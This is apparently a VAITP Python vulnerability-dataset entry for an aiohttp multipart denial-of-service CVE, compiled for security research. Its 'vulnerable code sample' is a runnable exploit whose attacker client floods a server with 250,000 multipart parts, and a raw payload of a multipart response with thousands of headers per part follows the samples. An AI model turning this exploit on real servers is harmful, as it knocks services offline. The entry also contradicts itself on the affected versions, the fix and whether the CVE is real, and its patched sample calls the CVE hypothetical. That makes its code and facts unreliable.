CVE-2026-34516
AIOHTTP Denial of Service from excessive multipart response headers.
- CVSS 6.6
- CWE-770
- Resource Management
- Remote
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, a response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability. This issue has been patched in version 3.13.4.
- CWE
- CWE-770
- CVSS base score
- 6.6
- Published
- 2026-04-01
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- AIOHTTP
- Fixed by upgrading
- Yes
Solution
Upgrade AIOHTTP to version 3.13.4 or later.
Vulnerable code sample
import asyncio
import aiohttp
from aiohttp import web
import uuid
# This combined script demonstrates the vulnerability.
# It contains both a vulnerable server and a client to exploit it.
# To run this, an older, vulnerable version of aiohttp is required (e.g., pip install aiohttp==3.8.6).
# When executed, monitor the script's memory usage, which will spike significantly,
# demonstrating the Denial of Service (DoS) vector.
# --- Vulnerable Server Component ---
# Represents a server running a version of aiohttp prior to the fix.
# It has no built-in limit on the number of multipart headers it will parse,
# leading to excessive memory consumption when receiving a malicious request.
async def handle_upload(request):
print("[SERVER] Received request. Attempting to parse multipart data...")
try:
# The vulnerability is triggered here. The `request.multipart()` call
# will begin parsing the incoming stream. For a request with a huge
# number of parts, the library allocates memory for each part's headers
# before the application developer can impose any limits.
reader = await request.multipart()
part_count = 0
async for part in reader:
part_count += 1
if part_count % 10000 == 0:
print(f"[SERVER] Processed {part_count} parts...")
await part.read()
print(f"[SERVER] Successfully processed {part_count} parts.")
return web.Response(text=f"Processed {part_count} parts.")
except Exception as e:
print(f"[SERVER] Error during processing: {e}")
return web.Response(status=500, text=str(e))
# --- Attacker Client Component ---
# Crafts and sends a POST request with an excessive number of multipart parts.
async def exploit_server(target_url):
# A large number of parts; each part has its own headers.
NUM_PARTS = 250_000
BOUNDARY = f"boundary-{uuid.uuid4().hex}"
# Manually construct the multipart body as a generator to avoid
# high memory usage on the client side.
async def payload_generator():
for i in range(NUM_PARTS):
chunk = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="part_{i}"\r\n\r\n'
f"data\r\n"
)
yield chunk.encode('utf-8')
yield f"--{BOUNDARY}--\r\n".encode('utf-8')
headers = {
'Content-Type': f'multipart/form-data; boundary={BOUNDARY}',
}
print(f"[CLIENT] Sending DoS request to {target_url} with {NUM_PARTS} parts...")
try:
async with aiohttp.ClientSession() as session:
# The request may time out or fail as the server runs out of memory and crashes.
async with session.post(target_url, data=payload_generator(), headers=headers, timeout=20) as response:
print(f"[CLIENT] Received response status: {response.status}")
text = await response.text()
print(f"[CLIENT] Received response body: {text}")
except asyncio.TimeoutError:
print("[CLIENT] Request timed out. The server is likely unresponsive or has crashed (DoS successful).")
except aiohttp.ClientError as e:
print(f"[CLIENT] Request failed: {e}. The server may have closed the connection abruptly (DoS successful).")
# --- Main Demonstration Runner ---
async def main():
# Set up and run the vulnerable server in the background.
app = web.Application()
app.add_routes([web.post('/upload', handle_upload)])
runner = web.AppRunner(app, access_log=None)
await runner.setup()
site = web.TCPSite(runner, '127.0.0.1', 8080)
await site.start()
# Give the server a moment to start.
await asyncio.sleep(1)
# Run the client to attack the server.
await exploit_server('http://127.0.0.1:8080/upload')
# Clean up the server.
await runner.cleanup()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\nDemonstration stopped by user.")Patched code sample
import asyncio
from aiohttp import web, MultipartReader
# The vulnerability described (a hypothetical CVE-2026-34516) is analogous to
# the real-world CVE-2023-47627, which was fixed in aiohttp 3.9.0.
# The fix involves adding a limit to the number of multipart parts that can be
# processed, preventing resource exhaustion (DoS).
#
# This code demonstrates how such a fix is implemented and used.
# It sets up two endpoints:
# 1. A conceptual "/vulnerable" endpoint that does not limit parts.
# 2. A "/fixed" endpoint that uses the `max_parts` parameter to prevent DoS.
#
# To run this code, you need aiohttp installed (version >= 3.9.0 for the fix):
# pip install aiohttp
async def handle_vulnerable(request):
"""
This handler represents the vulnerable behavior. It does not limit the
number of multipart parts, allowing a client to send a request with an
excessive number of parts, consuming significant memory and CPU.
"""
try:
# In vulnerable versions, MultipartReader had no limit on the number of parts.
reader = MultipartReader.from_request(request)
part_count = 0
while True:
part = await reader.next()
if part is None:
break
# In a real application, processing would happen here.
# We just discard the part to demonstrate the loop.
await part.release()
part_count += 1
return web.Response(
text=f"Processed {part_count} parts without any limit."
)
except Exception as e:
return web.Response(
text=f"An error occurred: {e}", status=500
)
async def handle_fixed(request):
"""
This handler demonstrates the fix. It uses the `max_parts` parameter,
which was introduced to mitigate the vulnerability. If a client sends
more than `max_parts` parts, a ValueError is raised, terminating the
request processing early and preventing resource exhaustion.
"""
MAX_ALLOWED_PARTS = 100 # Set a reasonable limit
part_count = 0
try:
# The fix: The `max_parts` argument is passed to the reader.
# This requires aiohttp >= 3.9.0.
reader = MultipartReader.from_request(request, max_parts=MAX_ALLOWED_PARTS)
print(f"Processing request with a limit of {MAX_ALLOWED_PARTS} parts...")
while True:
# When the number of parts exceeds max_parts, `await reader.next()`
# will raise a ValueError.
part = await reader.next()
if part is None:
break
part_count += 1
# In a real app, you would process the part here.
# e.g., print(f"Processing part {part.name}")
await part.release()
return web.Response(
text=f"Successfully processed {part_count} parts."
)
except ValueError as e:
# This is the expected outcome when the part limit is exceeded.
return web.Response(
text=f"Request rejected: {e}",
status=413, # Payload Too Large
)
except Exception as e:
return web.Response(
text=f"An unexpected error occurred: {e}", status=500
)
async def main():
app = web.Application()
app.router.add_post("/vulnerable", handle_vulnerable)
app.router.add_post("/fixed", handle_fixed)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "localhost", 8080)
await site.start()
print("Server running on http://localhost:8080")
print("Endpoints:")
print(" POST /vulnerable (processes unlimited multipart parts)")
print(" POST /fixed (processes a maximum of 100 parts)")
print("\nTo test, use a command like curl:")
print("Create a file with many boundaries, e.g., 'many_parts.txt'")
print("curl -X POST -H \"Content-Type: multipart/form-data; boundary=boundary\" --data-binary \"@many_parts.txt\" http://localhost:8080/fixed")
# Keep the server running until manually stopped
await asyncio.Event().wait()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\nServer shutting down.")Payload
HTTP/1.1 200 OK
Content-Type: multipart/form-data; boundary=boundary
--boundary
X-Header-1: a
X-Header-2: a
X-Header-3: a
...
X-Header-10000: a
part1
--boundary
X-Header-1: b
X-Header-2: b
X-Header-3: b
...
X-Header-10000: b
part2
--boundary
X-Header-1: c
X-Header-2: c
X-Header-3: c
...
X-Header-10000: c
part3
--boundary
X-Header-1: d
X-Header-2: d
X-Header-3: d
...
X-Header-10000: d
part4
--boundary
X-Header-1: e
X-Header-2: e
X-Header-3: e
...
X-Header-10000: e
part5
--boundary--
Cite this entry
@misc{vaitp:cve202634516,
title = {{AIOHTTP Denial of Service from excessive multipart response headers.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-34516},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34516/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
